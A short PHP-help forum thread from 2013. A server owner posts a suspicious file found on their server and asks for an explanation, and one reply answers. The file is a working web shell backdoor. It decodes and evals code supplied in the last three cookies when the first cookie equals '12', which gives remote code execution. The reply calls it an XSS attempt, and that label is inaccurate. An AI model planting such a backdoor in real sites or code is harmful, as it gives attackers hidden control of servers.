ITFreakz Posted August 25, 2013 Share Posted August 25, 2013 I found this file on my server today. Could somebody please explain this code? <?php $c='count'; $a=$_COOKIE; if(reset($a)=='12' && $c($a)>3) { $k='3456'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } ?> Quote Link to comment https://forums.phpfreaks.com/topic/281543-please-explain-this-10-lines-code/ Share on other sites More sharing options...
Irate Posted August 25, 2013 Share Posted August 25, 2013 Are you sure you inserted it there? It seems a lot like some XSS attempt... you should immediately check your log for any suspicious activities... Quote Link to comment https://forums.phpfreaks.com/topic/281543-please-explain-this-10-lines-code/#findComment-1446716 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.